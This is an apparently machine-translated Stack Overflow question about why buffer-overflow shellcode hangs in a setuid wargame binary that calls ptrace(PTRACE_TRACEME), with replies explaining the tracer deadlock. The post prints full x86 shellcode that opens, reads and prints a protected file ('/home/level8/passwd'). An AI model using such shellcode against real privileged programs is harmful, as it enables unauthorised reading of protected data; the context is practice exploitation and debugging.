【问题标题】:PTRACE_TRACEME without parent没有父级的 PTRACE_TRACEME
【发布时间】:2016-05-29 09:08:16
【问题描述】:

我正在尝试利用使用ptrace 来阻止调试的代码。
这个可执行文件是suid,因此破解它没有用。 它还有堆栈段可执行文件。这个可执行文件是为播放而制作的。
在我发现自己存在漏洞后,我尝试了缓冲区溢出。我写了一个 shellcode 来启动一个 shell,令我惊讶的是它挂了。 (BASH 报告进程已停止)
经过一些测试,我最终得出结论,ptrace 不仅会阻止调试,还会阻止我的 shellcode 执行。
阅读 ptrace 时,我发现调用 ptrace(PTRACE_TRACEME,0,1,0) 的进程将在调用 syscall exec 后立即停止。所以我改变了策略,因为 ptrace 会在启动可执行文件后立即停止进程,所以我尝试了一个读取文件的 shellcode。我的目标不是启动外壳,而是读取我的用户没有权限的文件。最后这段代码也挂了。

谁能解释我为什么我的代码,尽管它不包含 exec 调用,但它被绞死了?
有什么方法可以从进程本身中停止 ptrace 吗?
在我的情况下,ptraced 进程没有父进程,并且它以更高的权限运行,导致 suid,如何控制它?

这是我的代码,它不应该包含任何 exec。

这是我的shell代码:

0:  31 c0                   xor    eax,eax
2:  31 db                   xor    ebx,ebx
4:  31 c9                   xor    ecx,ecx
6:  31 d2                   xor    edx,edx
8:  eb 38                   jmp    0x42
a:  5b                      pop    ebx
b:  c6 43 13 01             mov    BYTE PTR [ebx+0x13],0x1
f:  fe 4b 13                dec    BYTE PTR [ebx+0x13]
12: b0 05                   mov    al,0x5
14: 31 c9                   xor    ecx,ecx
16: cd 80                   int    0x80
18: 89 c6                   mov    esi,eax
1a: eb 06                   jmp    0x22
1c: b0 01                   mov    al,0x1
1e: 31 db                   xor    ebx,ebx
20: cd 80                   int    0x80
22: 89 f3                   mov    ebx,esi
24: b0 03                   mov    al,0x3
26: 83 ec 01                sub    esp,0x1
29: 89 e1                   mov    ecx,esp
2b: b2 01                   mov    dl,0x1
2d: cd 80                   int    0x80
2f: 31 db                   xor    ebx,ebx
31: 39 c3                   cmp    ebx,eax
33: 74 e7                   je     0x1c
35: b0 04                   mov    al,0x4
37: b3 01                   mov    bl,0x1
39: b2 01                   mov    dl,0x1
3b: cd 80                   int    0x80
3d: 83 c4 01                add    esp,0x1
40: eb e0                   jmp    0x22
42: e8 c3 ff ff ff          call   0xa
47:                         db '/home/level8/passwd'

【问题讨论】:

  • 它很可能崩溃了,但是当一个进程被 ptrace 时,然后当它崩溃时它首先告诉跟踪器,但在这种情况下,跟踪器是同一个进程,所以它是一个死锁。
  • @Alessandro:这不是批评或类似的东西,只是一个建议,但这个问题会更适合RE.SE(我无耻地为RE.SE做一些广告!:) )。

标签: ptrace


【解决方案1】:

我相信您对 ptrace 的工作原理存在核心误解。

当进程在调用 execve 后停止时,这是一件好事。这意味着您的调试器有机会在 execve 之前和之后进行更改。

在我看来,您在孩子中写了ptrace(PTRACE_TRACEME),但您还没有实现您应该拥有的任何父方支持。因此,一旦 ptrace 尝试将事件通知调试器,您的进程就会停止并且永远不会重新启动。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2011-10-12
    • 2015-05-31
    • 2012-09-03
    • 2013-12-06
    • 1970-01-01
    • 2011-04-28
    相关资源
    最近更新 更多